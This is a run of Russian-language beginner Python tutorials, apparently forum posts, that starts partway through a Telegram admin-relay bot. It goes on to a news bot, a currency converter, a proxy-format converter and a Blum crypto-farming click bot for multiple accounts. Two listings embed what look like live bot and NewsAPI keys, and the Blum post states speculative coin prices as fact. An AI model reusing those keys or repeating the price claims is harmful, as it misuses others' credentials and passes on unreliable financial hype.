bot.send_message(message.chat.id, "Я могу помочь вам с различными задачами. Просто напишите ваш вопрос или отправьте файл. Администратор свяжется с вами в ближайшее время.")
@bot.message_handler(commands=['info'])
def handle_info(message: telebot.types.Message):
bot.send_message(message.chat.id, "Этот бот предназначен для связи с администрацией. Вы можете отправлять сообщения, фотографии и документы. Все сообщения будут переданы администратору.")
@bot.message_handler(commands=['reply'])
def handle_reply_command(message: telebot.types.Message):
if message.from_user.id == admin_id:
try:
args = message.text.split(maxsplit=2)
if len(args) < 3:
bot.send_message(message.chat.id, "Используйте: /reply <user_id> <текст сообщения>")
return
user_id = int(args[1])
reply_text = args[2]
bot.send_message(user_id, reply_text)
bot.send_message(message.chat.id, f"Сообщение отправлено пользователю с ID {user_id}.")
except ValueError:
bot.send_message(message.chat.id, "Неверный формат ID. Убедитесь, что это число.")
else:
bot.send_message(message.chat.id, "У вас нет прав на выполнение этой команды.")
@bot.message_handler(func=lambda message: not message.reply_to_message and message.text and '/start' not in message.text)
def handle_text(message: telebot.types.Message):
text_to_forward = (
f"Сообщение от пользователя {message.from_user.first_name} (ID: {message.from_user.id}):\n"
f"{message.text}"
)
bot.forward_message(admin_id, message.chat.id, message.message_id)
bot.send_message(admin_id, text_to_forward)
bot.send_message(message.chat.id, f"Ваше сообщение получено! Администратор вскоре ответит. Ваш ID: {message.from_user.id}")
@bot.message_handler(func=lambda message: message.reply_to_message)
def handle_reply(message: telebot.types.Message):
if message.from_user.id == admin_id:
if message.reply_to_message.forward_from:
bot.send_message(message.reply_to_message.forward_from.id, message.text)
else:
bot.send_message(message.chat.id, "Ответы на сообщения не разрешены.")
@bot.message_handler(content_types=['photo'])
def handle_photo(message: telebot.types.Message):
text_to_forward = (
f"Фото от пользователя {message.from_user.first_name} (ID: {message.from_user.id})"
)
bot.forward_message(admin_id, message.chat.id, message.message_id)
bot.send_message(message.chat.id, f"Фото получено и передано администратору. Ваш ID: {message.from_user.id}")
@bot.message_handler(content_types=['document'])
def handle_document(message: telebot.types.Message):
text_to_forward = (
f"Документ от пользователя {message.from_user.first_name} (ID: {message.from_user.id})"
)
bot.forward_message(admin_id, message.chat.id, message.message_id)
bot.send_message(admin_id, text_to_forward)
bot.send_message(message.chat.id, f"Документ получен и передан администратору. Ваш ID: {message.from_user.id}")
@bot.message_handler(content_types=['voice'])
def handle_voice(message: telebot.types.Message):
text_to_forward = (
f"Голосовое сообщение от пользователя {message.from_user.first_name} (ID: {message.from_user.id})"
)
bot.forward_message(admin_id, message.chat.id, message.message_id)
bot.send_message(admin_id, text_to_forward)
bot.send_message(message.chat.id, f"Голосовое сообщение получено и отправлено администратору. Ваш ID: {message.from_user.id}")
if __name__ == '__main__':
print("Бот запущен...")
bot.polling(none_stop=True)
начнем разбор кода !!!!
import telebot - импортируем библиотеку "telebot" .Данная библиотека используется для создание работы с телеграмм ботами, она намного упрощает взаимодействие с телеграмм api . Но по сравнению с aiogram по моему telebot чутка но отстает
Python:Copy to clipboard
TOKEN = ""
- сюда вводим токен нашего бота
Python:Copy to clipboard
admin_id = 12345
- вместо 12345 вводим свой id
Python:Copy to clipboard
bot = telebot.TeleBot(TOKEN)
- создаем можно сказать экземпляр бота с помощью токена , который в свою очередь передается "telebot.TeleBot"
Python:Copy to clipboard
@bot.message_handler(commands=['start'])
- строчка будет обрабатывать сообщение с командой "/start"
Python:Copy to clipboard
def handle_start(message: telebot.types.Message):
- строчка отвечает за определение функции сообщения можно сказать
Python:Copy to clipboard
if message.from_user.id == admin_id:
- строчка проверяет соответствует ли id юзера на наличие доступа к админке
Python:Copy to clipboard
bot.send_message(message.chat.id, "Приветствую, администратор!")
- если юзер прошел проверку и имеет доступ к админ панели то бот е го приветствует
Python:Copy to clipboard
else:
bot.send_message(message.chat.id, f"Здравствуйте, {message.from_user.first_name}! Если у вас есть вопросы или предложения, не стесняйтесь обращаться.")
- если юзер не является администратором то бот отправляет выше написанное сообщение
Python:Copy to clipboard
@bot.message_handler(commands=['help'])
- строчка обрабатывает команду "/help"
Python:Copy to clipboard
def handle_help(message: telebot.types.Message):
- можно сказать это функция обработки команды "/help"
Python:Copy to clipboard
bot.send_message(message.chat.id, "Я могу помочь вам с различными задачами. Просто напишите ваш вопрос или отправьте файл. Администратор свяжется с вами в ближайшее время.")
- данное сообщение бот отправляет если человек прописал команду "/help"
Python:Copy to clipboard
@bot.message_handler(commands=['info'])
- строчка обрабатывает команду "/info"
Python:Copy to clipboard
def handle_info(message: telebot.types.Message):
- функция для обработки команды "/info"
Python:Copy to clipboard
bot.send_message(message.chat.id, "Этот бот предназначен для связи с администрацией. Вы можете отправлять сообщения, фотографии и документы. Все сообщения будут переданы администратору.")
- если человек прописал команду "/info" то бот отправляет выше написанное сообщение
Python:Copy to clipboard
@bot.message_handler(commands=['reply'])
- обработчик команды "/reply"
Python:Copy to clipboard
def handle_reply_command(message: telebot.types.Message):
- Функция для обработки команды "/reply"
Python:Copy to clipboard
if message.from_user.id == admin_id:
- проверяет имеет ли юзер доступ к админ панели
Python:Copy to clipboard
try:
args = message.text.split(maxsplit=2)
- строчка отвечает за разделение текста сообщение , "maxsplit=2", позволяет разбить текст на три части(максимум)
Python:Copy to clipboard
if len(args) < 3:
- строчка отвечает за проверку достатка количество символов
Python:Copy to clipboard
bot.send_message(message.chat.id, "Используйте: /reply <user_id> <текст сообщения>")
return
- бот отправляет выше написанное сообщение если админ хочет отправить сообщение юзеру
Python:Copy to clipboard
user_id = int(args[1])
- Преобразование второго аргумента в целое число, представляющее ID пользователя.
Python:Copy to clipboard
reply_text = args[2]
- текст ответа
Python:Copy to clipboard
bot.send_message(user_id, reply_text)
- строчка отправляет сообщение пользователю по указанному выше id
Python:Copy to clipboard
bot.send_message(message.chat.id, f"Сообщение отправлено пользователю с ID {user_id}.")
- если отправка сообщение закончилась успехом то бот показывает выше написанное сообщение
Python:Copy to clipboard
except ValueError:
- можно сказать строчка обработает ошибку в случае неверного id
bot.send_message(message.chat.id, "Неверный формат ID. Убедитесь, что это
число.")[/CODE] - бот отправит выше написанное сообщение если юзер с таким ид
не зарегистрирован в боте
Python:Copy to clipboard
else:
bot.send_message(message.chat.id, "У вас нет прав на выполнение этой команды.")
- если юзер не имеет доступ к админ панели то бот покажет выше написанное сообщение
Python:Copy to clipboard
@bot.message_handler(func=lambda message: not message.reply_to_message and message.text and '/start' not in message.text)
- можно сказать это обработчик сообщений , которые не являются ответами или не содержит команду "/start"
Python:Copy to clipboard
def handle_text(message: telebot.types.Message):
- можно сказать это функция для обработки сообщений
Python:Copy to clipboard
text_to_forward = (
f"Сообщение от пользователя {message.from_user.first_name} (ID: {message.from_user.id}):\n"
f"{message.text}")
- данный кусок кода отвечает за отправку сообщение от юзера к админу в нужном нам формате
Python:Copy to clipboard
bot.forward_message(admin_id, message.chat.id, message.message_id)
- строчка пересылает сообщение юзера админу
Python:Copy to clipboard
bot.send_message(admin_id, text_to_forward)
- сама отправка сообщения от юзера к админу
Python:Copy to clipboard
bot.send_message(message.chat.id, f"Ваше сообщение получено! Администратор вскоре ответит. Ваш ID: {message.from_user.id}")
- если все прошло успешно то бот отправит выше написанное сообщение юзеру
Python:Copy to clipboard
@bot.message_handler(func=lambda message: message.reply_to_message)
- строчка отвечает за обработку сообщений , которые являются ответами на другие сообщения
Python:Copy to clipboard
def handle_reply(message: telebot.types.Message):
- сама функция для обработки ответов
Python:Copy to clipboard
if message.from_user.id == admin_id:
- строчка проверяет отправителя сообщение на наличие доступа к админ панельки
Python:Copy to clipboard
if message.reply_to_message.forward_from:
- строчка проверяет исходное сообщение ( если простыми словами ,то строчка проверяет есть ли отправитель у сообщения )
Python:Copy to clipboard
bot.send_message(message.reply_to_message.forward_from.id, message.text)
- строчка отправляет ответ
Python:Copy to clipboard
else:
bot.send_message(message.chat.id, "Ответы на сообщения не разрешены.")
- если человек ответил на сообщение то бот его предупреждает что это может делать только админ
Python:Copy to clipboard
@bot.message_handler(content_types=['photo'])
- строчка будет обрабатывать сообщение где есть фотка
Python:Copy to clipboard
def handle_photo(message: telebot.types.Message):
- данная функция нужна для обработки фотографий
Python:Copy to clipboard
text_to_forward = (
f"Фото от пользователя {message.from_user.first_name} (ID: {message.from_user.id})"
)
- кусочек кода отвечает за формирования текста сообщение администратору
Python:Copy to clipboard
bot.forward_message(admin_id, message.chat.id, message.message_id)
- строчка отправляет (пересылает ) фотографию админу
Python:Copy to clipboard
bot.send_message(message.chat.id, f"Фото получено и передано администратору. Ваш ID: {message.from_user.id}")
- если все прошло успешно то бот показывает выше написанное сообщение
Python:Copy to clipboard
@bot.message_handler(content_types=['document'])
- данная строчка будет обрабатывать сообщения содержащих какие либо документы (файлы)
Python:Copy to clipboard
def handle_document(message: telebot.types.Message):
- сама функция для обработки документов (файлов)
Python:Copy to clipboard
text_to_forward = (
f"Документ от пользователя {message.from_user.first_name} (ID: {message.from_user.id})"
)
- кусок кода формирует сообщение для отправления администратору
Python:Copy to clipboard
bot.forward_message(admin_id, message.chat.id, message.message_id)
- строчка пересылает документы администратору
Python:Copy to clipboard
bot.send_message(admin_id, text_to_forward)
- сама отправка сообщение админу
Python:Copy to clipboard
bot.send_message(message.chat.id, f"Документ получен и передан администратору. Ваш ID: {message.from_user.id}")
- если все прошло успешно бот показывает выше написанное сообщение
Python:Copy to clipboard
@bot.message_handler(content_types=['voice'])
- строчка обрабатывает голосовые сообщения
Python:Copy to clipboard
def handle_voice(message: telebot.types.Message):
- сама функция для обработки голосовых сообщений
Python:Copy to clipboard
text_to_forward = (
f"Голосовое сообщение от пользователя {message.from_user.first_name} (ID: {message.from_user.id})"
)
- кусок кода формирует сообщение с информацией по выше указанному принципу
Python:Copy to clipboard
bot.forward_message(admin_id, message.chat.id, message.message_id)
- пересылка голосового сообщения админу
Python:Copy to clipboard
bot.send_message(admin_id, text_to_forward)
- сама отправка голосового сообщение админу
Python:Copy to clipboard
bot.send_message(message.chat.id, f"Голосовое сообщение получено и отправлено администратору. Ваш ID: {message.from_user.id}")
- если все прошло успешно то бот отправляет выше написанное сообщение
Python:Copy to clipboard
if __name__ == '__main__':
- можно сказать это проверка что скрипт запускается напрямую а не импортируется как модуль
Python:Copy to clipboard
print("Бот запущен...")
- сообщение показывает успешный запуск бота
Python:Copy to clipboard
bot.polling(none_stop=True)
- Метод "polling" позволяет боту получать обновления от Telegram и обрабатывать их. Параметр "none_stop=True" указывает, что бот должен продолжать работу в случае возникновения ошибок.
Вот что у нас получилось
Spoiler: скрин
Давайте напишем последний для этой статьи бот , который будет показывать самые новые новости по команде /news .Мы напишем все на telebote , я напишу отдельную статью по aiogram .
Python:Copy to clipboard
import telebot
import requests
TELEGRAM_TOKEN = '6672409243:AAHfoFHqaFGpOpkbjHAgGRPALz_ZqxTZmng'
NEWS_API_KEY = '1ddfaaf6f6b24e4a8b8c47833edb8501'
bot = telebot.TeleBot(TELEGRAM_TOKEN)
def get_latest_news():
url = f'https://newsapi.org/v2/top-headlines?country=ru&apiKey={NEWS_API_KEY}'
response = requests.get(url)
if response.status_code == 200:
data = response.json()
articles = data.get('articles', [])
if articles:
news_list = []
for article in articles[:5]:
title = article.get('title', 'Нет заголовка')
url = article.get('url', 'Нет URL')
news_list.append(f'{title}\n{url}')
return '\n\n'.join(news_list)
else:
return "Новости не найдены."
else:
return "Не удалось получить новости."
@bot.message_handler(commands=['start'])
def handle_start(message):
bot.reply_to(message, "Приветствую! Используйте команду /news, чтобы получить последние новости.")
@bot.message_handler(commands=['news'])
def handle_news(message):
news = get_latest_news()
bot.send_message(message.chat.id, news)
if __name__ == '__main__':
print("Бот запущен")
bot.polling(none_stop=True)
Начнем разбор самого кода !
Python:Copy to clipboard
import telebot
- строчка импортирует библиотеку "pyTelegramBotAPI" для дальнейшей работы
Python:Copy to clipboard
import requests
- импортируем библиотеку которая нужна для работы http запросами
Python:Copy to clipboard
TELEGRAM_TOKEN = ''
- сюда вводим наш телеграмм токен
Python:Copy to clipboard
NEWS_API_KEY = ' '
- сюда вводим наш апи ключ ( его можно взять тут https://newsapi.org/account(не реклама ))
Python:Copy to clipboard
bot = telebot.TeleBot(TELEGRAM_TOKEN)
- можно сказать строчка создает новый объект используя токен .Это нужно для взаимодействия с телеграмм api
Python:Copy to clipboard
def get_latest_news():
url = f'https://newsapi.org/v2/top-headlines?country=ru&apiKey={NEWS_API_KEY}'
- создаем url запрос для получение новостей . а так же используем "country=ru" для получение российских новостей а "apiKey={NEWS_API_KEY}" нужен для авторизации
Python:Copy to clipboard
response = requests.get(url)
- Выполняем GET-запрос к API новостей
Python:Copy to clipboard
if response.status_code == 200:
- строчка проверяет успешен ли наш запрос
Python:Copy to clipboard
data = response.json()
- получает данные ответа в формате JSON
Python:Copy to clipboard
articles = data.get('articles', [])
- строчка извлекает список статей из ответа .А если "articles" отсутствует ,то возвращаем список но уже пустым
Python:Copy to clipboard
if articles:
- проверка на наличии статей в списке
Python:Copy to clipboard
news_list = []
- строчка создает пустой список (для хранение новостей)
Python:Copy to clipboard
for article in articles[:5]:
- перебираем первые 5 статей ( кол во статей можете изменить )
Python:Copy to clipboard
title = article.get('title', 'Нет заголовка')
- строчка получает заголовок статьи , если его нет то пишет об этом
Python:Copy to clipboard
url = article.get('url', 'Нет URL')
- получаем url статьи , если url нету то пишет об этом
Python:Copy to clipboard
news_list.append(f'{title}\n{url}')
- строчка добавляет заголовок и url самой статьи в список
Python:Copy to clipboard
return '\n\n'.join(news_list)
- строчка формирует строку с новостями
Python:Copy to clipboard
else:
return "Новости не найдены."
- если новостей новых нету то от отправляет выше написанное сообщение
Python:Copy to clipboard
else:
return "Не удалось получить новости."
- если запрос по какой-то ошибки не удался то бот отправляет выше написанное сообщение
Python:Copy to clipboard
@bot.message_handler(commands=['start'])
- строчка выполняет функцию обработки команды "/start"
Python:Copy to clipboard
def handle_start(message):
bot.reply_to(message, "Приветствую! Используйте команду /news, чтобы получить последние новости.")
- если юзер успешно запустил бота то бот отправляет вышенаписанное сообщение
Python:Copy to clipboard
@bot.message_handler(commands=['news'])
- строчка отвечает за обработку команды "/news"
Python:Copy to clipboard
def handle_news(message):
- сама функция обработки команды "/news"
Python:Copy to clipboard
news = get_latest_news()
- при помощи "get_latest_news" получаем последние новости
Python:Copy to clipboard
bot.send_message(message.chat.id, news)
- отправляем готовый результат пользователю
Python:Copy to clipboard
if __name__ == '__main__':
- строчка проверяет скрипт что он выполняется напрямую а не через импорт
Python:Copy to clipboard
print("Бот запущен")
- если все успешно получилось то в консоли можно увидеть такой текст
Вот что мы получаем на выходе
Spoiler: скрин
Этот код позволяет создать бота в телеграмм , который в свою очередь отвечает за свежие новости с региона РФ по команду /news . Скрипт работает по по апи , да и принципе я добавил данный скрипт для усвоение работы с апи
Давайте подведем итоги данной статьи .Мы разобрали пару скриптов на telebote а так же на библиотеке aiogram, мы начали изучение с простого и закончили более сложным.А так же рассмотрели работу телеграмм ботов по апи , надеюсь статьи была интересной .Назовите мне тематику на которую мне стоит написать статью ( я обязательно напишу если это будет в моих силах ) .Удачного дня всем
Авторnetwork work
Источник https://xss.is
В этой статье мы разберем простые скрипты написанные на python .
P.s Скрипты не будут по типу калькулятора и т.п , все скрипты могут быть
полезными в определённой сфере , и так начнем
Статья состоит из 3х этапов
1- Теория (для чего предназначен python и стоит ли его изучать ?)
2 - Подготовка рабочего места (правильная установка python + установка
библиотек и т.п)
3 - Практика (Мы разберем пару скриптов которые помогут в дальнейшем изучении)
1.1 Теория
Python был создан известным прогером Гвидо ван Россум из Нидерландов , если кратко то сам ЯП был создан для легко написание и чтения программ
Плюсы python , 1 простота кода и легкая читабельность , 2 большой выбор библиотек на разные тематики , 3 На этом ЯП можно написать буквально все начиная от бота заканчивая вэб приложением . На самом деле питон полезный ЯП , более подробно о плюсах вам расскажет дядя гугл .
Минусы python ,1 потребляет много памяти по сравнению с некоторыми ЯП , 2 Python является интерпретируемым языком что снижает скорость выполнения задачи ,3 Не совсем подходит для каких то глобальных программ .
И так вопрос ,стоит ли изучать python ? Если вы хотите начинать изучение программирование с 0 то этот язык вполне подходит как первый , он славиться своей простотой и не только .Но если вы уже имейте знания других ЯП то думаю ответ будет однозначно нет. Все зависит от ваших планов , как говориться "на вкус и цвет любителей нет "
1.2 Подготовка рабочего места
Переходим по ссылке https://www.python.org/ , жмем кнопочку скачать ,
выбираем версию и ставим на загрузку .Во время установки нам обязательно надо
поставить галочку возле add path
Поздравляю , вы установили python . Переходим к более интересному , к Практике
1.3 Практика
3.1 Первый скрипт будет конвектор USD в EUR
Мы напишем скрипт который будет работать по апи , а так же разберем каждую строчку .Я добавлю в код комментарии которые будут указывать и подсказывать для чего нужна строка , а более подробно разберем тут .
Python:Copy to clipboard
import requests
def convert_currency(summaconvert, kodvalyti, kodvaliyti2):
url = f'https://api.exchangerate-api.com/v4/latest/{kodvalyti}'
try:
response = requests.get(url)
response.raise_for_status()
except requests.RequestException as e:
print(f"Ошибка при запросе к API: {e}")
return None
data = response.json()
if kodvaliyti2 not in data['rates']:
print(f"Ошибка: Валюта {kodvaliyti2} не найдена.")
return None
exchange_rate = data['rates'][kodvaliyti2]
converted_summaconvert = summaconvert * exchange_rate
return converted_summaconvert
try:
summaconvert = float(input("Введите сумму для конвертации "))
kodvalyti = input("Введите код исходной валюты (например, USD) ").upper()
kodvaliyti2 = input("Введите код целевой валюты (например, EUR) ").upper()
converted_summaconvert = convert_currency(summaconvert, kodvalyti, kodvaliyti2)
if converted_summaconvert is not None:
print(f"{summaconvert} {kodvalyti} = {converted_summaconvert:.2f} {kodvaliyti2}")
except ValueError:
print("Ошибка, попробуйте еще раз")
И так начнем
import requests - это строчка импортирует библиотеку requests . Это библиотека
создана для работы с http запросами , это облегчает нашу задачу и помогает
быстро и коректно взаимодействовать с серверами
def itog(summaconvert, kodvalyti, kodvaliyti2): - это строчка отвечает за конвертацию самой валюты по актуальному курсу полученной по API указанного сайта
url = "" , тут мы должны указать путь к апиключи если это можно так назвать , пример url = f'https://api.exchangerate-api.com/v4/latest/{kodvalyti}' .Все запросы касательно актуального курса в этом скрипте идут туда
try: - эта строчка отвечает и дает возможность выполнить определённую часть кода а если что то пошло не так и появилась ошибка перейти на другую часть кода , если кратко то это строчка создана для обрабатывания исключений
response = requests.get(url)- это строка отвечает за выполнения GET-запроса к нужному url
response.raise_for_status()
except requests.RequestException as e: - это строка отвечает за корректную
работу http-запроса
data = response.json() - запрашивает данные в формате json (JavaScript Object Notation) , так же этот формат часто используется для передачи данных между клиентом или серверами .
if kodvaliyti2 not in data['rates']: - это строчка отвечает за проверку целевой валюты ( в нашем случаи USD или EUR)
exchange_rate = data['rates'][kodvaliyti2]- через эту строчку мы получаем актуальный курс целевой валюты
onverted_summaconvert = summaconvert * exchange_rate- в этой строке мы рассчитываем конвертированную сумму
return converted_summaconvert - возвращаем конвертированную сумму для дальнейшей работы
try: - можете почитать выше для чего предназначена это строка
summaconvert = float(input("Введите сумму для конвертации ")) - запрашиваем нужную сумму для конвертации
kodvalyti = input("Введите код исходной валюты (например, USD) ").upper() - строчка Запрашивает код исходной валюты и переводит его в верхний регистр для корректной работы
kodvaliyti2 = input("Введите код целевой валюты (например, EUR) ").upper() - Запрашивает код исходной валюты и переводит его в верхний регистр для нормальной работы
converted_summaconvert = itog(summaconvert, kodvalyti, kodvaliyti2) - выполняет саму конвертацию валют
if converted_summaconvert is not None:
print(f"{summaconvert} {kodvalyti} = {converted_summaconvert:.2f}
{kodvaliyti2}")
except ValueError:
print("Ошибка, попробуйте еще раз") - Если скрипт работает корректно то
выводит результат если возникли какие то ошибки сообщает юзеру
Советую после изучения данного кода попробовать что то изменить и "пошоманить" в коде. Не бойтесь делать ошибки, на все вопросы и ошибки в коде отвечу в ближайшее время , а мы переходим к другому скрипту
3.2 Я решил что для начало стоит изучить простого бота который будет работать по апи и публиковать самые свежие новости в телеграмм канал указанный вами . Давайте разберем и напишем собственно код .
Для начало нам надо установить библиотеку telebot , открываем cmd прописываем pip install telebot
Создаем файл для редактирования (main.py ) и вставляем собственно код снизу
Python:Copy to clipboard
import requests
import telebot
import time
api_bot = '6672409243:AAHfoFHqaFGpOpkbjHAgGRPALz_ZqxTZmng'
link_kanal = '@ggdgfkdfk'
api_key = '1ddfaaf6f6b24e4a8b8c47833edb8501'
api_url = 'https://newsapi.org/v2/top-headlines'
PARAMS = {
'apiKey': api_key,
'country': 'us',
'pageSize': 50
}
bot = telebot.TeleBot(api_bot)
def fetch_news():
response = requests.get(api_url, params=PARAMS)
if response.status_code == 200:
return response.json()
else:
print(f"Ошибка при получении информации: {response.status_code}")
return None
def post_news():
news_data = fetch_news()
if news_data and 'articles' in news_data:
for article in news_data['articles']:
title = article.get('title')
description = article.get('description')
url = article.get('url')
if title:
message = f"{title}\n{description}\n{url}"
bot.send_message(link_kanal, message)
time.sleep(1)
else:
bot.send_message(link_kanal, "Не удалось получить информацию , возникла ошибка.")
if __name__ == '__main__':
post_news()
Данный скрипт работает по апи сайта newsapi (не реклама ) данный сайт собирает множество новых новостей , изучить можете его более подробно в интернете . И так начнем разбор кода
import requests - Это библиотека создана для работы с http запросами , это облегчает нашу задачу и помогает быстро и коректно взаимодействовать с серверами
import telebot - данная библиотека используется для создание каких то скриптов или ботов телеграмм , библиотека легкая и многофункциональная
import time - в нашем скрипте это бибилотека отвечает за паузу между отправками сообщений
Скрипт работает по такому принципу , за получение информации через апи отвечает библиотека requests затем все публикуется в телеграмм канал при помощи библиотеки telebot , а time отвечает за паузу между постами
api_bot = '' - сюда надо вести апи хэш бота в телеграмм , для его создания
перейдите в бота https://t.me/BotFather ( не реклама ) и создайте тг бота
link_kanal = '' - надо создать сам телеграмм канал и указать ссылку на него
(пример : @tgnews24) , после этого обязательно добавьте и назначьте созданного
бота администратором
api_key = '1ddfaaf6f6b24e4a8b8c47833edb8501' - сюда надо ввести апи сайта (
его можно получить тут https://newsapi.org/ ( не реклама ))
api_url = 'https://newsapi.org/v2/top-headlines' - тут ничего не трогаем
PARAMS = {
'apiKey': api_key,
'country': 'us',
'pageSize': 50
} - эти строчки создают словарь который будет передаваться по API на сайт
bot = telebot.TeleBot(api_bot) - строчка отвечает за создание обьекта бота с использование API ключа
def fetch_news():
response = requests.get(api_url, params=PARAMS)
if response.status_code == 200:
return response.json()
else:
print(f"Ошибка при получении информации: {response.status_code}")
return None - этот кусок кода отвечает за отправление get запроса к указанному
нами api и возвращает json ответ , если все прошло хорошо .Если что то пошло
не так то скрипт оповещает вас об этом и возвращается в изначальное положения
def post_news()
news_data = fetch_news(): - включает в работу функцию fetch_news() для
получение данных о новых новостях через API
if news_data and 'articles' in news_data: - проверяет успешность получение
данных а так же отвечает за проверку 'articles'
for article in news_data['articles']: - строчка отвечает за перебор всех
новостей полученные через API
title = article.get('title')- отвечает за получения заголовка статьи
description = article.get('description') - отвечает за краткое описание статьи
url = article.get('url') - после краткой информации это строчка должна выдать ссылку на основной материал
if title: - проверка заголовка статьи
message = f"{title}\n{description}\n{url}" - создает конечный текст который получит юзер , собирают всю инфу которую упомянул выше ( заголовок , основная мысль , ссылка на саму новость )
bot.send_message(link_kanal, message) - показывает конечный результат юзеру
time.sleep(1) - время после которого публикуется новая новость , это время можно изменить под себя ( время в секундах )
else:
bot.send_message(link_kanal, "Не удалось получить информацию , возникла
ошибка.") - если данные не были получены по какой-то причины и т.п то скрипт
выдает такую ошибку
Данный скрипт был создан как скелет для ваших идей , его можно легко отредактировать и настроить под себя . Думаю кому-то пригодиться 100 %
3.3 Давайте создадим скрипт который будет менять формат прокси на нужным для вас
Я много где замечал что к примеру в тот же скрипт нужен определённый формат
прокси , давай разберем скрипт который конвертирует с одного формата в нужный
формат прокси
созд
Python:Copy to clipboard
def convert_proxy_format(proxy_str, input_format, output_format):
try:
components = proxy_str.split(':')
if len(components) != len(input_format.split(':')):
raise ValueError("Формат строки не соответствует ожидаемому")
proxy_dict = {
'ip': components[0],
'port': components[1],
'user': components[2],
'pass': components[3]
}
output_str = output_format
for key, value in proxy_dict.items():
output_str = output_str.replace(key, value)
return output_str
except Exception as e:
print(f"Ошибка: {e}")
return None
def main():
input_file = 'input.txt'
output_file = 'output.txt'
# Задаем форматы
input_format = 'ip:port:user:pass'
output_format = 'user:pass@ip:port'
with open(input_file, 'r') as infile, open(output_file, 'w') as outfile:
for line in infile:
line = line.strip()
converted_proxy = convert_proxy_format(line, input_format, output_format)
if converted_proxy:
outfile.write(converted_proxy + '\n')
if __name__ == '__main__':
main()
Давайте разберем код
def convert_proxy_format(proxy_str, input_format, output_format): -это строчка принимает строку прокси можно сказать и формат входящих и исходящих данных
try: - дает возможность при какой либо ошибке обработать ее буквально
components = proxy_str.split(':') - данная строка разделяет строку на ":" + сохраняет все в список components
if len(components) != len(input_format.split(':')):
raise ValueError("Формат строки не соответствует ожидаемому") - это часть кода
проверяет соответствует ли входящие данные, если возникла какая-то ошибка
сообщает о ней
proxy_dict = {
'ip': components[0],
'port': components[1],
'user': components[2],
'pass': components[3]
} - это часть кода создает словарь под названием proxy_dict для дальнейшей
работы
output_str = output_format - это строка создает новую переменную output_str , почему же мы так сделали ? Ответ прост , облегчает написание кода .
for key, value in proxy_dict.items():
output_str = output_str.replace(key, value) - этот кусок кода отвечает за
замену ключевых слов , например если output содержит pass , login а proxy_dict
имеет pass : 1234 , login qwerty то в итоге мы получим 1234:qwerty . Надеюсь
суть поняли
return output_str - Возвращает преобразованную строку
except Exception as e:
print(f"Ошибка: {e}")
return None - если появляется какая-то ошибка то скрипт предупреждает
пользователя и завершает работу скрипта
def main():
input_file = 'input.txt'
output_file = 'output.txt' - этот кусок кода предназначен для входа и выхода
кода . То есть тут можно указать откуда скрипт будет черпать те же прокси и
куда будет их сохранять
input_format = 'ip:port:user:pass'
output_format = 'user:pass@ip:port' - а этот кусок предназначен для самого
конвектирования скрипта , то есть вводим такое ip:port:user:pass получаем
такое user:pass@ip:port .Это все можете настраивать под себя
with open(input_file, 'r') as infile, open(output_file, 'w') as outfile: - открывает файл для чтение а так же используется команда with которая автоматически все закроет после успешной работы
for line in infile: - читает все строчки из файла infile
line = line.strip() - удаляет все лишнее в начале и в конце строки
converted_proxy = convert_proxy_format(line, input_format, output_format) - строчка предназначена для преобразовании строки с прокси в нужный формат с помощью команды convert_proxy_format
if converted_proxy: - проверяет что все прошло успешно
outfile.write(converted_proxy + '\n') - записывает итоговый результат в указанный файл , в нашем случаи в output
Спасибо за внимания !!!
На этой ноте я думаю стоит закончить статью , у меня в разработке очень много проектов . Поддержите автора своим лайком и я буду выпускать уже серьезные скрипты и не только на python , А так же занимаюсь написанием проектов .Статья как по мне получилось интересной хоть и долгой , если увижу актив то обещаю выпустить скрипт для мониторинга той же крипты и т.п .Жду ваши идеи в лс , чем ярче идея тем быстрее я ее реализую . Надеюсь хоть чуть чуть помог в развитии в сторону python .Удачного дня , забыл сказать все скрипты это можно сказать скелет для ваших проектов . Пользуйтесь умом и все у вас получиться !!!
Автор q2e
Источник https://xss.is
Добрый вечер форумчане недавно я написал простенький скрипт для фарма в blum ,по просьбам юзеров я написал статью где слил и обьяснил как работает мой скрипт и как его настроить !!!
И так начнем
Что такое blum ?Blum - это новый коин , который успешно развивается и имеет большой потенциал . Почему именно он ? Среди всех новых коинов самый перспективный является blum .По прогнозам 1 blum будет стоить 50 центов , комьюнити bluma это в основном бывшие сотрудники бинанс . Проект быстро развивается , показывая свои серьезные намерения , разработчики обещают 0.5 центов за один blum .На данный момент у проекта есть галочка телеграмм , разработчики намекнули что вывод будет в notcoinax что очень даже не плохо. Я решил автоматизироват процесс фарма , стоит лишь подключить аккаунты грамотно настроить и фармить койны , все достаточно легко и просто .Про проект можно писать вечно , если хотите почитайте в интернете
Статья будет делиться на 7 этапов
3. Рекомендации для быстроты работы
**1.Подготовка к запуску
Python:**
Либо вставьте команду в терминал:
pip install tkinter pygetwindow pyautogui keyboard pynput opencv-python customtkinter pillow CTkSpinbox
2 .Настройка телеграма
Рекомендации
Запуск
1.Запустить gui.py
2.Выбрать ярлык(-и) аккаунтов Telegram с рабочего стола
3.Ввести каким чат Blum идёт по счёту сверху
Например, на картинке снизу, чат Blum находится 3 по счёту, поэтому на
счётчике ставим 3:
! Архив считается как чат
4.Свернуть все запущенные ярлыки телеграма крестиком:
5.Если нажать флажок снизу
, то бот будет собирать ежедневную награду со всех тг аккаунтов которые были
выбрали.
! Если выбрать одни аккаунты с ежедневной наградой, а другие без, то скрипт
каждый раз будет пытаться обнаружить кнопку continue(процесс обнаружения
кнопок последовательный), что приведёт к кликанию в рандомные места, и сбою
работы.
После завершения всех предыдущих шагов, жмём кнопку “Запустить фарм”.
С этого момента бот сам откроет Telegram, затем откроет Blum и начнёт фармить Drop game за билеты. Игру можно приостановить клавишей Q (иногда её нужно нажать дважды), либо завершить клавишей B, чтобы перейти на следующие окна.
После завершения работы бота, можно открыть другой ярлык Telegram с другим аккаунтом, не забыв включить прокси.
Структура проекта
Папка assets – файлы приложения(иконки)
Папка data – скриншоты кнопок для обнаружения
Обзор скрипта
Всего в проекте 3 основных скрипта:
Gui.py
Это скрипт интерфейса, также он содержит логику выбора файлов, запуска фарма, и остальных элементов.
Button_searcher.py
Этот скрипт отвечает за распознание кнопок на экране и за взаимодействие бота
с экраном(интерфейсом) пользователя. Алгоритм работы прост: из папки data
скрипт берёт скрин кнопки, затем жмёт на неё используя функцию:
этот отрывок кода жмёт на кнопку launch_blum.png
Также между нажатиями стоят интервалы, дабы не допустить раннего нажатия
кнопок (см. потенциальные ошибки)
- интервал в 3 секунды
В конце, после нажатия всех кнопок, скрипт запускает main.py, который отвечает
за автоматизацию drop game
Тем самым код выстраивает последовательность нажатия кнопок.
